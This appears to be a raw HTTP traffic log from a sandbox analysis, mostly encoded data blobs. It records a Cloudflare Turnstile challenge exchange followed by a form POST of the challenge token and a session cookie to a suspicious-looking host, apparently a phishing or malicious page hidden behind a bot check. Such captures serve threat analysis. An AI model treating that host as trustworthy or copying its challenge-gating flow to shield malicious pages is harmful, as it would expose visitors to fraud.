2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 70 65 61 71 6b 62 58 36 63 71 49 53 66 73 36 79 76 64 57 70 77 73 6f 36 57 6d 4b 32 38 76 49 36 57 6d 71 7a 45 77 4c 52 36 79 70 7a 41 71 61 69 39 7a 4d 79 68 75 38 79 64 30 5a 4f 78 7a 64 4c 53 74 64 6e 59 70 35 66 59 6d 4c 75 75 6e 39 72 63 74 39 4b 6e 32 61 54 6b 35 4f 62 63 75 65 76 45 34 4c 32 76 37 74 48 74 38 2b 4c 6a 72 72 50 34 2b 2f 43 34 39 4c 37 7a 77 2f 57 39 39 77 54 64 36 74 58 45 34 50 73 4a 43 51 7a 68 45 78 4c 4d 31 65 77 59 37 77 62 30 31 51 66 70 46 74 73 53 49 53 48 78 49 50 45 65 49 69 4d 55 4c 43 6a 33 35 2b 33 6f 44 50 37 76 4b 69 30 49 42 2f 63 71 4b 78 4d 47 4f 2f 6f 62 4f 69 77 4f 4f 6a 39 42 46 6a 77 41 52 53 59 4c 54 78 73 4c 47 78 42 43 4a 6b 78 51 4b 55 52 56 57 45 4d 37 44 31 35 49 56 54 55 39 55 69 46 42 5a 55 4d 6a 53 56 Data Ascii: peaqkbX6cqISfs6yvdWpwso6WmK28vI6WmqzEwLR6ypzAqai9zMyhu8yd0ZOxzdLStdnYp5fYmLuun9rct9Kn2aTk5ObcuevE4L2v7tHt8+LjrrP4+/C49L7zw/W99wTd6tXE4PsJCQzhExLM1ewY7wb01QfpFtsSISHxIPEeIiMULCj35+3oDP7vKi0IB/cqKxMGO/obOiwOOj9BFjwARSYLTxsLGxBCJkxQKURVWEM7D15IVTU9UiFBZUMjSV
2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 6e 48 70 7a 6e 57 65 4b 61 61 61 31 6a 6d 32 70 75 5a 4a 78 6a 62 32 57 64 59 37 42 6d 6e 6d 54 73 73 54 4b 79 63 75 46 69 72 6d 50 77 61 61 6a 6a 36 6d 56 6f 64 54 48 6b 74 6a 63 33 4e 4b 78 74 4e 7a 4e 74 4c 37 43 6f 72 6d 6e 32 61 6a 70 35 64 62 58 6f 71 37 45 32 2b 6e 76 79 66 4f 32 79 4e 6e 4f 31 63 6e 56 35 2b 6a 32 2b 74 48 4f 7a 66 53 35 32 73 45 4c 39 39 37 46 44 2f 66 69 79 52 4d 49 35 73 30 59 46 4f 72 52 48 42 33 72 2b 77 6b 4d 37 76 37 67 32 66 4d 56 39 67 6b 49 32 79 4d 6e 43 50 59 76 4c 67 67 53 43 69 55 4d 4b 2f 51 70 45 43 6b 6b 4c 52 51 73 4f 44 45 59 4d 41 45 31 48 44 59 56 42 69 4d 7a 43 69 45 6a 47 44 73 4c 4c 6b 68 4c 4a 7a 4a 54 52 42 64 45 51 31 5a 47 4e 78 41 2f 4d 43 73 74 48 6c 31 45 4e 7a 64 68 53 44 73 6d 5a 55 77 2f 5a 57 6c Data Ascii: nHpznWeKaaa1jm2puZJxjb2WdY7BmnmTssTKycuFirmPwaajj6mVodTHktjc3NKxtNzNtL7Cormn2ajp5dbXoq7E2+nvyfO2yNnO1cnV5+j2+tHOzfS52sEL997FD/fiyRMI5s0YFOrRHB3r+wkM7v7g2fMV9gkI2yMnCPYvLggSCiUMK/QpECkkLRQsODEYMAE1HDYVBiMzCiEjGDsLLkhLJzJTRBdEQ1ZGNxA/MCstHl1ENzdhSDsmZUw/ZWl
2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 4a 65 4b 6d 72 53 62 6a 6f 36 34 6e 35 4a 39 76 4b 4f 57 76 4d 43 6e 6d 36 72 45 71 36 4f 4a 79 4b 2b 6f 70 72 36 31 31 4a 47 34 74 39 61 5a 78 36 6a 4d 30 63 79 64 74 37 61 56 7a 65 47 36 6d 64 62 6c 76 70 33 5a 36 63 4b 68 76 65 33 47 70 62 37 78 79 71 6e 44 34 76 58 4d 2b 66 75 31 75 73 36 2f 38 64 57 37 42 77 49 45 42 77 54 68 44 62 37 47 39 67 58 6f 79 68 4c 78 34 77 4c 55 30 74 66 75 37 75 73 4c 32 41 33 76 39 78 49 65 44 68 6f 57 49 68 49 64 47 69 59 57 4a 42 34 71 47 75 34 69 4c 68 37 7a 4e 65 34 74 43 43 6b 75 4b 50 49 39 2b 52 6f 50 48 2f 67 38 51 55 56 47 4e 78 6f 6c 4f 54 51 70 54 53 59 4f 4a 55 6f 2b 48 77 63 4f 54 30 30 7a 4e 55 70 64 57 53 34 79 50 7a 46 5a 4f 45 4d 33 48 79 55 32 59 54 70 6e 5a 6a 78 57 59 6d 70 50 59 53 31 77 4e 55 31 43 Data Ascii: JeKmrSbjo64n5J9vKOWvMCnm6rEq6OJyK+opr611JG4t9aZx6jM0cydt7aVzeG6mdblvp3Z6cKhve3Gpb7xyqnD4vXM+fu1us6/8dW7BwIEBwThDb7G9gXoyhLx4wLU0tfu7usL2A3v9xIeDhoWIhIdGiYWJB4qGu4iLh7zNe4tCCkuKPI9+RoPH/g8QUVGNxolOTQpTSYOJUo+HwcOT00zNUpdWS4yPzFZOEM3HyU2YTpnZjxWYmpPYS1wNU1C
2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 53 32 6e 59 31 35 73 4c 36 51 66 35 4b 44 79 6f 5a 39 68 38 36 4a 72 59 76 53 6a 61 57 50 31 70 48 47 74 36 50 52 32 38 79 32 70 39 54 67 74 4e 75 32 35 4c 2f 43 6f 72 6d 6e 32 63 58 72 35 73 4b 39 36 71 66 74 32 2b 76 32 72 62 4c 69 74 2b 6e 61 7a 76 6e 32 39 4f 36 33 32 63 48 6c 2f 50 48 5a 35 39 6a 72 44 4f 63 4a 35 2b 72 61 32 67 2f 4f 38 42 44 2b 47 65 45 54 38 64 6e 39 46 67 72 6f 39 76 44 34 33 67 49 66 34 77 59 63 34 78 67 74 33 75 55 6e 41 77 76 71 4d 68 77 46 49 76 54 75 39 77 34 37 42 69 73 47 4f 53 6f 4d 47 6a 58 2b 45 77 51 32 49 6b 68 44 48 78 70 48 42 45 6c 51 53 41 6b 66 44 78 38 55 52 6a 5a 57 55 55 4d 37 53 42 51 32 48 6a 39 66 49 6d 4d 37 4e 54 30 6a 52 69 56 57 62 43 78 75 4e 7a 38 6a 4b 57 74 54 54 32 4e 4b 61 57 78 50 4d 54 6c 39 52 Data Ascii: S2nY15sL6Qf5KDyoZ9h86JrYvSjaWP1pHGt6PR28y2p9TgtNu25L/Cormn2cXr5sK96qft2+v2rbLit+nazvn29O632cHl/PHZ59jrDOcJ5+ra2g/O8BD+GeET8dn9Fgro9vD43gIf4wYc4xgt3uUnAwvqMhwFIvTu9w47BisGOSoMGjX+EwQ2IkhDHxpHBElQSAkfDx8URjZWUUM7SBQ2Hj9fImM7NT0jRiVWbCxuNz8jKWtTT2NKaWxPMTl9R
2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 7a 75 61 47 62 6d 38 66 44 69 4d 48 48 70 73 6d 66 6f 63 72 45 6f 36 79 53 78 4e 58 54 70 71 57 59 78 72 6e 57 32 37 54 4d 72 4f 50 45 6e 71 48 49 74 37 79 6c 70 65 54 70 37 4b 32 72 77 2b 50 44 31 65 66 4d 78 39 4f 7a 39 50 50 57 31 72 72 32 2b 50 62 30 41 41 54 36 32 65 54 34 39 41 6e 57 7a 4d 45 4c 44 73 54 4d 46 4d 34 53 34 51 2f 55 34 75 72 58 47 42 76 5a 43 64 77 4f 2b 64 7a 62 33 50 7a 6e 4a 4e 7a 37 4b 76 77 66 2f 69 30 43 48 79 6e 38 4e 54 45 53 4b 6a 51 44 43 7a 37 37 4e 45 44 36 2f 54 4e 45 50 30 44 34 47 45 55 5a 4f 78 74 4a 48 6a 73 4f 53 41 74 4c 53 53 64 58 4c 6a 64 61 47 46 42 63 46 78 70 50 59 46 74 63 46 54 52 6b 4e 56 63 33 5a 54 6c 6e 4b 6d 51 6d 56 32 46 4f 4c 47 30 79 4d 7a 55 70 4e 44 68 31 4c 56 78 33 64 31 4a 58 63 56 64 4d 50 31 Data Ascii: zuaGbm8fDiMHHpsmfocrEo6ySxNXTpqWYxrnW27TMrOPEnqHIt7ylpeTp7K2rw+PD1efMx9Oz9PPW1rr2+Pb0AAT62eT49AnWzMELDsTMFM4S4Q/U4urXGBvZCdwO+dzb3PznJNz7Kvwf/i0CHyn8NTESKjQDCz77NED6/TNEP0D4GEUZOxtJHjsOSAtLSSdXLjdaGFBcFxpPYFtcFTRkNVc3ZTlnKmQmV2FOLG0yMzUpNDh1LVx3d1JXcVdMP1
2025-03-24 15:35:10 UTC	1369	IN	Data Raw: 79 59 4f 57 6d 73 57 52 71 64 44 47 6c 4d 2f 54 31 74 66 45 70 5a 72 55 6b 4a 69 57 33 62 6a 42 34 65 4f 34 30 2b 44 6e 30 73 58 67 35 4b 44 4e 38 61 37 63 39 4f 62 76 37 36 6e 79 39 61 79 31 7a 36 2f 54 30 72 2b 33 32 51 57 36 74 2f 54 53 78 74 48 33 78 63 54 4b 2b 78 48 49 30 65 6e 72 33 64 30 45 30 75 48 68 43 42 30 55 7a 78 7a 57 36 65 48 35 48 65 4c 58 46 66 62 61 33 77 45 68 36 65 30 47 4c 65 2f 6e 49 4f 33 72 2f 51 37 31 39 66 59 6f 46 2f 4c 7a 46 68 76 34 39 30 42 46 2b 76 64 44 50 51 67 53 49 67 59 46 44 69 59 4f 45 52 49 71 4c 78 49 54 52 46 49 69 49 6a 4a 56 45 78 42 4e 4b 78 4d 71 55 45 4e 63 47 42 31 48 47 79 42 59 4b 69 4d 67 62 47 30 76 4b 45 6c 70 4d 69 77 74 63 6b 49 73 65 46 73 38 4e 47 78 66 51 54 39 77 66 55 51 38 58 31 4e 41 53 6d 4e Data Ascii: yYOWmsWRqdDGlM/T1tfEpZrUkJiW3bjB4eO40+Dn0sXg5KDN8a7c9Obv76ny9ay1z6/T0r+32QW6t/TSxtH3xcTK+xHI0enr3d0E0uHhCB0UzxzW6eH5HeLXFfba3wEh6e0GLe/nIO3r/Q719fYoF/LzFhv490BF+vdDPQgSIgYFDiYOERIqLxITRFIiIjJVExBNKxMqUENcGB1HGyBYKiMgbG0vKElpMiwtckIseFs8NGxfQT9wfUQ8X1NASmN

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:14 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40966 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:14 UTC	16384	OUT	Data Raw: 72 5a 68 37 2b 70 6f 59 4d 31 68 6d 44 41 74 6f 7a 54 47 33 68 52 4b 54 30 52 70 32 77 44 32 54 72 54 6d 66 52 6d 54 64 54 44 66 73 59 6f 30 54 24 66 70 45 66 54 65 6d 6c 6d 71 37 50 54 75 4c 73 32 56 63 6d 54 77 4e 54 79 37 6d 74 41 54 76 66 6f 74 56 44 63 4c 6f 33 6a 37 33 68 54 41 33 41 54 52 32 54 4a 30 44 54 63 54 70 62 59 54 47 37 70 44 4d 42 50 37 73 74 2d 54 75 66 52 42 6f 78 79 6f 70 63 68 54 63 76 54 77 78 44 37 6c 44 54 58 37 54 47 4c 38 31 71 44 46 39 44 68 38 68 54 31 71 73 38 6d 4a 6d 54 6d 46 4c 67 57 74 41 6f 4c 30 66 54 39 35 2b 6c 6f 2d 75 70 54 54 5a 54 38 46 55 45 76 54 4c 54 64 36 4a 6a 57 73 30 74 4b 61 2d 41 6f 46 44 35 34 61 53 42 72 43 4e 72 42 43 30 45 61 2d 4a 72 54 51 55 36 68 6b 71 52 44 38 75 45 6b 44 6a 37 53 4a 72 41 2b 74 Data Ascii: rZh7+poYM1hmDAtozTG3hRKT0Rp2wD2TrTmfRmTdTDfsYo0T$fpEfTemlmq7PTuLs2VcmTwNTy7mtATvfotVDcLo3j73hTA3ATR2TJ0DTcTpbYTG7pDMBP7st-TufRBoxyopchTcvTwxD7lDTX7TGL81qDF9Dh8hT1qs8mJmTmFLgWtAoL0fT95+lo-upTTZT8FUEvTLTd6JjWs0tKa-AoFD54aSBrCNrBC0Ea-JrTQU6hkqRD8uEkDj7SJrA+t
2025-03-24 15:35:14 UTC	16384	OUT	Data Raw: 76 42 49 4c 6d 6d 4d 56 54 33 54 49 49 55 54 6f 70 57 38 30 66 4c 4d 78 45 73 61 5a 51 78 79 57 74 31 70 30 54 41 33 6c 77 68 24 5a 4a 4d 72 4f 4f 48 66 55 61 37 57 68 59 45 4a 4d 31 57 5a 68 54 30 4e 72 5a 6f 71 68 78 42 71 35 66 64 37 46 61 46 51 34 43 78 45 57 2d 46 5a 62 78 79 54 41 46 34 41 54 41 57 4b 4d 52 63 78 4b 57 4b 6d 52 55 78 2b 61 4d 61 5a 4d 54 31 57 48 61 56 50 6c 6d 45 6f 32 4f 66 6f 36 57 46 61 56 49 78 53 57 7a 57 5a 67 54 55 57 38 37 77 61 78 2b 61 62 57 34 58 74 54 54 79 4d 6f 54 6f 4a 54 24 68 41 72 78 44 54 43 48 54 67 54 55 54 79 54 77 36 78 47 67 72 64 75 2b 66 4a 4d 77 5a 54 54 54 36 41 74 63 36 78 4c 71 6f 42 44 47 4c 4f 37 47 68 6f 7a 6f 35 68 33 4c 54 6b 4d 37 57 6e 4d 41 6c 4d 55 4f 6f 48 70 6e 6d 4f 4e 31 54 70 53 4c 4f 33 Data Ascii: vBILmmMVT3TIIUTopW80fLMxEsaZQxyWt1p0TA3lwh$ZJMrOOHfUa7WhYEJM1WZhT0NrZoqhxBq5fd7FaFQ4CxEW-FZbxyTAF4ATAWKMRcxKWKmRUx+aMaZMT1WHaVPlmEo2Ofo6WFaVIxSWzWZgTUW87wax+abW4XtTTyMoToJT$hArxDTCHTgTUTyTw6xGgrdu+fJMwZTTT6Atc6xLqoBDGLO7Ghozo5h3LTkM7WnMAlMUOoHpnmON1TpSLO3
2025-03-24 15:35:14 UTC	8198	OUT	Data Raw: 4e 74 73 4b 64 65 54 6d 37 49 77 36 77 63 67 31 30 37 31 6b 52 61 4e 30 59 6b 47 54 5a 4c 42 5a 52 66 43 67 6e 30 46 72 4d 43 47 57 77 31 52 2d 72 54 5a 52 6c 54 6a 44 43 72 73 71 54 77 58 30 66 54 71 36 24 2d 72 33 76 6a 54 62 54 32 54 4f 66 54 5a 79 34 77 61 76 51 63 33 6d 41 37 63 4c 33 4e 41 34 38 4f 24 76 68 6c 2b 54 73 36 73 66 47 6a 77 50 4b 5a 35 68 44 37 61 75 46 55 67 55 61 4b 79 6b 39 41 6d 6c 49 53 30 6a 67 55 2d 6f 38 37 57 65 45 6b 78 51 46 43 66 78 42 6b 50 31 54 51 37 35 33 37 63 4c 72 46 73 63 54 45 75 59 4c 32 54 79 73 54 54 30 74 53 37 39 37 76 48 6f 71 54 4f 66 52 44 6f 6d 54 32 54 72 4b 6f 47 37 73 4e 4e 53 2b 41 4a 4e 54 31 68 6b 68 52 62 30 65 43 79 42 34 4b 35 5a 55 48 4e 37 46 59 67 71 48 4f 64 51 36 55 6d 32 63 39 68 32 58 71 6f Data Ascii: NtsKdeTm7Iw6wcg1071kRaN0YkGTZLBZRfCgn0FrMCGWw1R-rTZRlTjDCrsqTwX0fTq6$-r3vjTbT2TOfTZy4wavQc3mA7cL3NA48O$vhl+Ts6sfGjwPKZ5hD7auFUgUaKyk9AmlIS0jgU-o87WeEkxQFCfxBkP1TQ7537cLrFscTEuYL2TysTT0tS797vHoqTOfRDomT2TrKoG7sNNS+AJNT1hkhRb0eCyB4K5ZUHN7FYgqHOdQ6Um2c9h2Xqo
2025-03-24 15:35:15 UTC	282	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4928 Connection: close cf-chl-out: rUUd+nPE9D4JAJymQuVDk00bJsd+yD22epyCUH9HvcV+ExjcEJtl+iJ19AhwTlo5Eq6yAllz3zk2543lvpJlnvt5mBeK2AbwbyfzS2BoD2k=$ugD8ftQbI16UV0dCxsq5XQ==
2025-03-24 15:35:15 UTC	1235	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 61 53 56 37 75 2f 5a 39 39 68 49 50 53 6f 6f 4a 59 6c 77 56 6a 32 50 47 43 4d 41 54 6a 43 6a 54 64 68 34 77 42 6b 61 5a 70 72 30 34 56 6d 63 75 46 66 52 64 64 49 48 30 51 36 76 39 30 47 34 67 57 4a 75 41 6c 4e 70 59 58 69 63 71 5a 36 31 66 53 45 56 71 62 46 78 31 79 36 39 6e 31 4e 78 2b 37 69 31 73 35 75 4e 75 76 44 58 56 2b 78 42 65 55 61 68 58 39 39 51 6f 6a 4b 75 63 66 56 6c 6e 72 72 67 41 35 68 61 78 6e 62 4e 4c 6b 48 59 62 65 4a 30 47 6b 36 77 4c 32 66 46 67 4f 4c 57 6e 7a 79 31 53 41 45 2b 53 78 4c 41 63 34 56 45 41 56 34 59 72 2f 55 78 61 6d 57 50 79 70 75 63 6f 70 47 47 53 30 6e 76 6f 53 6d 6f 52 6a 67 6a 48 4e 55 68 6f 38 65 36 56 54 78 34 2f 6a 7a 35 39 46 44 39 42 55 47 55 43 78 41 32 34 45 57 53 62 30 Data Ascii: cf-chl-out-s: aSV7u/Z99hIPSooJYlwVj2PGCMATjCjTdh4wBkaZpr04VmcuFfRddIH0Q6v90G4gWJuAlNpYXicqZ61fSEVqbFx1y69n1Nx+7i1s5uNuvDXV+xBeUahX99QojKucfVlnrrgA5haxnbNLkHYbeJ0Gk6wL2fFgOLWnzy1SAE+SxLAc4VEAV4Yr/UxamWPypucopGGS0nvoSmoRjgjHNUho8e6VTx4/jz59FD9BUGUCxA24EWSb0
2025-03-24 15:35:15 UTC	1221	IN	Data Raw: 62 31 4b 4c 69 59 2b 4d 62 4a 74 77 6e 33 79 5a 64 70 31 30 65 57 53 57 65 6c 2b 68 6f 36 43 6c 5a 59 61 6e 68 33 78 6c 62 34 2b 7a 6e 37 68 33 74 49 32 70 68 70 6d 74 75 62 32 52 67 36 79 39 76 34 65 77 77 63 47 7a 77 61 76 46 79 49 71 61 72 63 4b 6a 30 61 61 71 6c 63 76 55 77 35 6e 62 33 4d 6d 36 34 4c 33 53 72 2b 47 79 34 4b 61 32 34 64 54 70 75 36 54 4c 71 38 69 77 34 74 4f 2b 37 65 2f 4b 39 2f 47 79 74 38 71 38 37 74 4b 2b 2b 66 33 4f 77 2f 34 42 30 64 2f 54 34 63 66 35 43 77 6e 62 32 73 33 37 37 67 77 52 36 51 4c 68 47 66 66 58 36 4e 77 50 30 75 45 61 48 52 37 75 4a 2f 72 79 35 69 63 6b 4c 53 6f 70 42 2b 34 4d 48 50 49 4b 4d 51 73 72 4f 43 6b 37 44 77 63 52 45 79 77 56 44 76 51 6b 50 77 59 61 51 78 70 48 53 51 4d 49 48 41 30 2f 4a 43 42 53 46 42 49 Data Ascii: b1KLiY+MbJtwn3yZdp10eWSWel+ho6ClZYanh3xlb4+zn7h3tI2phpmtub2Rg6y9v4ewwcGzwavFyIqarcKj0aaqlcvUw5nb3Mm64L3Sr+Gy4Ka24dTpu6TLq8iw4tO+7e/K9/Gyt8q87tK++f3Ow/4B0d/T4cf5Cwnb2s377gwR6QLhGffX6NwP0uEaHR7uJ/ry5ickLSopB+4MHPIKMQsrOCk7DwcREywVDvQkPwYaQxpHSQMIHA0/JCBSFBI
2025-03-24 15:35:15 UTC	1369	IN	Data Raw: 2b 4d 44 42 75 49 73 42 51 6f 75 4d 6a 45 4b 38 50 6b 4e 4d 66 6e 76 2f 42 73 64 4f 68 67 44 44 6a 38 61 48 6a 70 45 43 67 6f 66 53 67 77 75 54 31 41 54 4b 6b 68 54 46 79 49 4c 56 31 59 7a 4d 56 78 4b 4e 78 64 5a 57 30 77 64 49 56 41 65 56 53 41 71 56 55 67 6f 4c 6a 34 70 61 44 4d 75 54 6d 77 74 4e 54 6b 77 64 30 74 4b 64 6d 6c 66 54 59 4a 37 66 58 47 45 52 6e 46 49 52 56 4e 58 67 30 65 4d 53 6b 4f 54 67 56 39 67 54 59 43 5a 62 32 4a 76 5a 33 68 57 6e 4a 78 59 58 33 69 44 67 6c 35 35 70 5a 5a 6c 6b 35 6d 42 72 4a 65 6b 73 4b 79 48 70 61 52 2b 6f 4c 56 78 63 70 4f 4c 6d 37 61 54 73 59 35 38 67 33 71 63 76 62 4b 6d 79 49 47 4b 74 5a 58 4d 70 4c 6d 50 6d 72 76 4e 6f 5a 44 53 31 63 50 58 6d 38 57 55 31 39 79 2b 31 4f 50 65 75 36 50 6c 6e 63 4f 78 34 36 69 69 Data Ascii: +MDBuIsBQouMjEK8PkNMfnv/BsdOhgDDj8aHjpECgofSgwuT1ATKkhTFyILV1YzMVxKNxdZW0wdIVAeVSAqVUgoLj4paDMuTmwtNTkwd0tKdmlfTYJ7fXGERnFIRVNXg0eMSkOTgV9gTYCZb2JvZ3hWnJxYX3iDgl55pZZlk5mBrJeksKyHpaR+oLVxcpOLm7aTsY58g3qcvbKmyIGKtZXMpLmPmrvNoZDS1cPXm8WU19y+1OPeu6PlncOx46ii
2025-03-24 15:35:15 UTC	1369	IN	Data Raw: 55 66 46 51 33 32 4a 41 34 32 44 54 6f 38 39 66 6f 53 41 44 49 58 45 30 55 48 42 51 46 4a 4f 45 63 6a 46 30 46 45 54 30 34 76 4a 52 49 2f 55 69 6c 57 57 42 49 58 4c 68 78 4f 4d 68 68 6a 58 6d 42 6a 59 44 35 6e 50 7a 4e 64 59 47 74 71 53 30 45 75 57 32 35 6e 63 6e 51 74 4e 6c 4e 77 64 55 31 54 53 47 73 37 58 6e 6c 2f 55 6e 64 41 50 55 64 30 63 34 5a 32 5a 30 42 34 59 33 4a 37 55 6d 74 48 54 59 39 72 59 33 57 4a 6b 5a 6c 72 68 34 69 57 6f 58 64 33 59 33 57 46 5a 6f 68 32 71 4b 43 74 5a 61 4e 6d 66 47 69 75 71 4b 79 31 6f 72 4b 57 71 58 57 34 62 35 57 4b 6b 6f 79 66 6b 4a 65 66 72 34 61 66 65 34 4c 44 77 5a 71 76 6f 4c 43 39 6d 73 2b 50 6f 63 37 50 7a 4d 33 59 72 71 72 61 31 73 66 67 6e 39 79 35 31 4e 33 64 7a 2b 6a 67 34 74 53 32 34 75 66 6f 75 75 2f 73 35 Data Ascii: UfFQ32JA42DTo89foSADIXE0UHBQFJOEcjF0FET04vJRI/UilWWBIXLhxOMhhjXmBjYD5nPzNdYGtqS0EuW25ncnQtNlNwdU1TSGs7Xnl/UndAPUd0c4Z2Z0B4Y3J7UmtHTY9rY3WJkZlrh4iWoXd3Y3WFZoh2qKCtZaNmfGiuqKy1orKWqXW4b5WKkoyfkJefr4afe4LDwZqvoLC9ms+Poc7PzM3Yrqra1sfgn9y51N3dz+jg4tS24ufouu/s5
2025-03-24 15:35:15 UTC	969	IN	Data Raw: 6c 4f 44 48 39 46 76 55 4f 2b 78 67 62 44 2f 73 62 49 6a 70 4b 4f 43 73 35 52 30 6c 52 4f 77 68 41 4c 79 55 49 56 42 59 52 56 42 73 57 4d 53 59 7a 4e 79 35 68 58 44 39 53 5a 79 52 6c 58 32 59 72 4a 57 46 6c 61 6d 67 75 4b 47 78 31 50 69 77 32 51 6d 70 37 54 6a 4a 4d 66 30 64 4b 63 33 74 59 62 49 61 47 63 58 45 2f 68 47 42 72 53 6f 5a 68 6a 59 43 50 6a 34 52 48 6b 46 64 57 56 35 43 57 65 33 56 56 69 32 70 68 6d 6f 75 68 6a 56 78 6c 64 33 6d 69 67 49 74 74 61 34 4f 44 62 36 35 78 73 4c 61 31 6f 47 36 4b 63 4b 4f 57 76 4c 5a 2f 63 72 4b 2f 6d 4a 36 43 76 73 4b 6d 68 73 4b 66 70 37 62 46 6f 36 4c 44 30 61 69 4e 69 38 36 72 30 62 57 55 72 38 57 64 33 73 6e 5a 73 70 6a 4e 6f 71 36 59 33 39 43 62 34 62 2b 33 75 71 58 5a 38 4f 76 71 32 2b 43 6e 38 72 62 78 78 2f Data Ascii: lODH9FvUO+xgbD/sbIjpKOCs5R0lROwhALyUIVBYRVBsWMSYzNy5hXD9SZyRlX2YrJWFlamguKGx1Piw2Qmp7TjJMf0dKc3tYbIaGcXE/hGBrSoZhjYCPj4RHkFdWV5CWe3VVi2phmouhjVxld3migItta4ODb65xsLa1oG6KcKOWvLZ/crK/mJ6CvsKmhsKfp7bFo6LD0aiNi86r0bWUr8Wd3snZspjNoq6Y39Cb4b+3uqXZ8Ovq2+Cn8rbxx/

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:15 UTC	913	OUT	POST /xT1tH/ HTTP/1.1 Host: hjwe.mysteries.it.com Connection: keep-alive Content-Length: 987 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Origin: https://hjwe.mysteries.it.com Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://hjwe.mysteries.it.com/xT1tH/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=72llpglsob3m63vdvrr151t61v
2025-03-24 15:35:15 UTC	987	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 74 69 67 30 5f 49 49 52 38 4c 76 50 34 52 73 31 61 6d 66 78 57 55 47 4f 68 32 49 66 6a 7a 77 4d 4a 65 77 46 78 38 52 5f 53 71 35 73 31 74 47 6b 4c 58 78 37 42 78 66 30 7a 77 73 39 6a 56 67 72 37 4c 32 47 4b 36 76 42 4a 44 54 5a 55 4d 6b 50 63 4d 48 48 38 68 64 31 56 65 46 78 50 45 76 44 47 43 4f 75 68 4b 4e 39 56 30 63 59 78 57 57 49 67 68 32 73 78 6c 49 46 72 57 63 74 72 6a 65 6c 5f 78 47 59 7a 51 44 50 35 54 55 2d 66 56 51 71 54 50 77 5f 64 61 74 56 49 4d 5a 4a 58 47 34 73 31 34 69 38 76 6d 6c 73 62 38 38 30 4d 5f 53 6d 73 53 31 42 31 54 4e 51 6c 33 43 4d 79 59 42 63 4f 65 49 57 41 66 42 6c 71 74 4b 54 4d 61 51 44 4a 30 36 2d 69 36 45 4f 6f 6a 34 72 62 55 46 73 42 4f 4c 42 48 6f 75 Data Ascii: cf-turnstile-response=0.tig0_IIR8LvP4Rs1amfxWUGOh2IfjzwMJewFx8R_Sq5s1tGkLXx7Bxf0zws9jVgr7L2GK6vBJDTZUMkPcMHH8hd1VeFxPEvDGCOuhKN9V0cYxWWIgh2sxlIFrWctrjel_xGYzQDP5TU-fVQqTPw_datVIMZJXG4s14i8vmlsb880M_SmsS1B1TNQl3CMyYBcOeIWAfBlqtKTMaQDJ06-i6EOoj4rbUFsBOLBHou
2025-03-24 15:35:16 UTC	934	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bI1cxJUqGKEYG22LzcXPhxkuGMkb%2FPl3PWrMJl2bIaMNAlI7MzdLVmrqayHicSHggUZLGn5AAMwNPFdjw1Q24O2QT3qfiWYJiovuv1SAZf7BDO6%2Fic5G5fp3EszCG8Jw9lT5WQgAQ0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92573cc24a3d4344-EWR alt-svc: h3=":443"; ma=86400 server-timing: 